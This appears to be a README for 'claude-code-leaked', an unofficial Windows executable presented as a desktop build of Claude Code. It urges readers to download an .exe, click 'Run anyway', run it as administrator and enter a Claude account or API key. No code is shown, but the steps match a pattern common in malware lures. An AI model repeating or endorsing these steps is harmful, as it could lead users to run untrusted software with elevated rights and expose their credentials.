claude-code-leaked is a Windows-friendly CLI and TUI app that helps you work with Claude Code from your desktop. It gives you a local shell-style interface for coding tasks, file edits, and prompt-based work. This build is made for end users who want a simple way to open the app, connect it to Claude, and start using it on a Windows PC.
Visit this page to download the latest Windows release:
On that page, look for the newest release and download the Windows file that fits your PC. In most cases, this will be an .exe file or a zip package made for Windows.
Before you install, check these basics:
- Windows 10 or Windows 11
- A stable internet connection
- At least 2 GB of free disk space
- A keyboard and mouse
- Permission to run downloaded apps on your PC
- A Claude account or API access if the app asks for it
For best results, use a recent Windows update and keep enough free memory open while the app runs.
- Open the download page.
- Find the latest release.
- Download the Windows file.
- If the file is in a zip folder, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the
.exefile. - If Windows asks for permission, choose Run anyway or Yes.
- Wait for the app to open.
If the app starts in a terminal window, that is normal. Claude Code uses a command-line interface, so the window may look plain at first.
When you open the app for the first time, it may ask for setup details such as:
- Your Claude account sign-in
- An API key
- A workspace folder
- A default model or profile
Follow the prompts on screen. Use the keyboard to move through the setup. If a field asks for text, type the value and press Enter.
To use the app, you may need to connect it to Claude. Common setup steps include:
- Open the login prompt
- Enter your account details
- Paste an API key if the app requests one
- Confirm access to your local files
- Allow the app to save your settings
Keep your key private. Do not post it in chat, tickets, or screenshots.
After setup, you can start using Claude Code for common tasks like:
- Asking for help with code
- Editing text files
- Reviewing project folders
- Generating simple scripts
- Fixing small errors
- Explaining code in plain language
Typical use looks like this:
- Open the app.
- Pick a folder or project.
- Type your request.
- Read the response.
- Accept or reject any file changes.
If you are not sure what to type, start with a simple request like:
- Review this folder
- Explain this file
- Help me fix this error
- Add a README for this project
- Create a basic script for this task
The app works best when you point it at one project folder at a time. Use a folder with clear files and a simple name. If you are new to this, make a test folder first.
Good folder choices:
- Desktop project folders
- Documents folders with code files
- A copied folder for testing
Avoid using system folders or folders with important personal files until you feel comfortable with the app.
This app may use keyboard prompts instead of buttons. Common keys include:
- Enter to confirm
- Esc to cancel
- Arrow keys to move
- Tab to switch fields
- Backspace to delete text
If a menu opens, read each line before you choose an option.
Here are simple tasks this app can help with:
- Write a small script
- Rename files
- Clean up text
- Add comments to code
- Explain errors in plain English
- Compare two files
- Draft project notes
- Create a starter README
Use short prompts. Clear requests work best.
Examples:
- Fix the bug in this file
- Add a button to this page
- Explain this script line by line
- Make this text shorter
- Turn this into a Windows batch file
This app may ask to read or change files in your project folder. That is normal for a coding tool. Before you approve changes, check the file path and read the prompt text.
If the app asks to write files:
- Review the file name
- Check the folder path
- Save a backup copy if the file matters
- Accept changes only when they match your request
To get the latest build:
- Go to the releases page.
- Download the newest Windows package.
- Replace the old file with the new one.
- Open the app again.
If your settings stay in a local config file, they may still be there after the update. Keep a copy of your project folders before you upgrade.
If the app does not open:
- Check that the file finished downloading
- Unzip the package if needed
- Right-click the file and choose Run as administrator
- Make sure Windows did not block it
- Try opening it from a simple folder path like
C:\ClaudeCode
If the screen stays blank:
- Wait a few seconds
- Press Enter
- Restart the app
- Close other terminal windows
- Check that your internet connection works
If sign-in fails:
- Recheck your account details
- Paste the API key again
- Confirm the key has access
- Make sure the copied text has no spaces before or after it
If file changes do not appear:
- Refresh the folder view
- Open the file again in your editor
- Check whether the app saved changes to a different copy
If you want the shortest path to start:
- Open the releases page
- Download the Windows file
- Extract it if needed
- Run the app
- Sign in
- Choose a folder
- Type your first request
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